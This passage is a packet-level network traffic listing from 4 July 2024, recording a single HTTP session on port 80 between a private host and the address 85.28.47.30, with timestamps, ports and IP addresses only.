Jul 4, 2024 20:33:58.221436024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221446037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221451044 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221467972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221487045 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221616030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221666098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221757889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221767902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221776962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221786022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221795082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221807957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221808910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221841097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221853971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.224771023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.224781990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.224792004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.224826097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.224829912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.224842072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.224848032 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.224853039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.224870920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.224891901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225059032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225069046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225080013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225087881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225111008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225126028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225315094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225353003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225363970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225368023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225389004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225398064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225414038 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225425005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225435019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225440979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225465059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225477934 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225501060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225512028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225521088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225532055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225543976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225564003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225584030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225586891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225594044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225610018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225620985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225625038 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225632906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225644112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225660086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225683928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225713015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225723982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225733995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225744963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225755930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225761890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225768089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225792885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225807905 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225867033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225878000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225887060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225897074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225908041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225910902 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225918055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225929022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225939035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.225939989 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225979090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.225979090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226007938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226018906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226027966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226038933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226048946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226049900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226058960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226073980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226074934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226087093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226097107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226102114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226106882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226118088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226125956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226146936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226154089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226157904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226165056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226196051 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226210117 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226237059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226248026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226258039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226268053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226278067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226280928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226288080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226313114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226330996 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226376057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226387024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226396084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226406097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226417065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226418018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226428032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226438046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.226448059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.226479053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.292006969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292026997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292037964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292152882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292162895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292174101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292180061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.292180061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.292185068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292196035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292197943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.292222977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.292244911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.292315960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292325974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292335987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292357922 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.292372942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.292403936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292413950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292424917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292434931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.292442083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.292468071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.292493105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.303685904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.303745031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.303765059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.303776026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.303877115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.303886890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.303896904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.303908110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.303950071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.303950071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.303951025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.303951025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329042912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329054117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329063892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329106092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329117060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329127073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329138041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329205990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329212904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329212904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329212904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329212904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329217911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329229116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329241037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329250097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329279900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329353094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329363108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329372883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329382896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329394102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329396963 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329405069 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329408884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329415083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329425097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329436064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329442978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329462051 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329478025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329493046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329503059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329513073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329524040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329534054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329535007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329545021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329570055 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329586029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329649925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329668999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329679012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329687119 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329688072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329698086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329708099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329716921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329718113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329729080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329739094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329741955 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329750061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329760075 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329760075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329770088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329778910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329786062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329807043 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329826117 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.329986095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.329997063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330013037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330023050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330029011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330034018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330044985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330054998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330060005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330070019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330080986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330086946 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330091000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330096960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330104113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330116034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330126047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330130100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330136061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330146074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330153942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330188036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330351114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330362082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330372095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330382109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330391884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330391884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330401897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330411911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330420017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330421925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330432892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330441952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330451012 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330452919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330462933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330471039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330472946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330482960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330488920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330493927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330524921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330538034 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330703020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330718994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330729008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330738068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330748081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330753088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330759048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330764055 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330769062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330779076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330789089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330797911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330799103 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330799103 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330809116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330816984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330826998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330828905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330838919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330842972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330849886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330857038 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330859900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330871105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330892086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330914974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330923080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330933094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.330945969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330965042 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.330972910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.385802031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385818958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385828018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385840893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385849953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385863066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.385865927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385876894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385885954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385900974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.385915995 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.385924101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385931969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.385934114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385943890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385965109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.385968924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385977983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.385986090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.386010885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.386044979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.386060953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.386070967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.386090040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.386111975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.397682905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.397726059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.397737026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.397761106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.397789955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.397802114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.397811890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.397821903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.397933960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.397933960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.397933960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.397933960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.408526897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408567905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408576965 CEST	80	49730	85.28.47.30	192.168.2.4
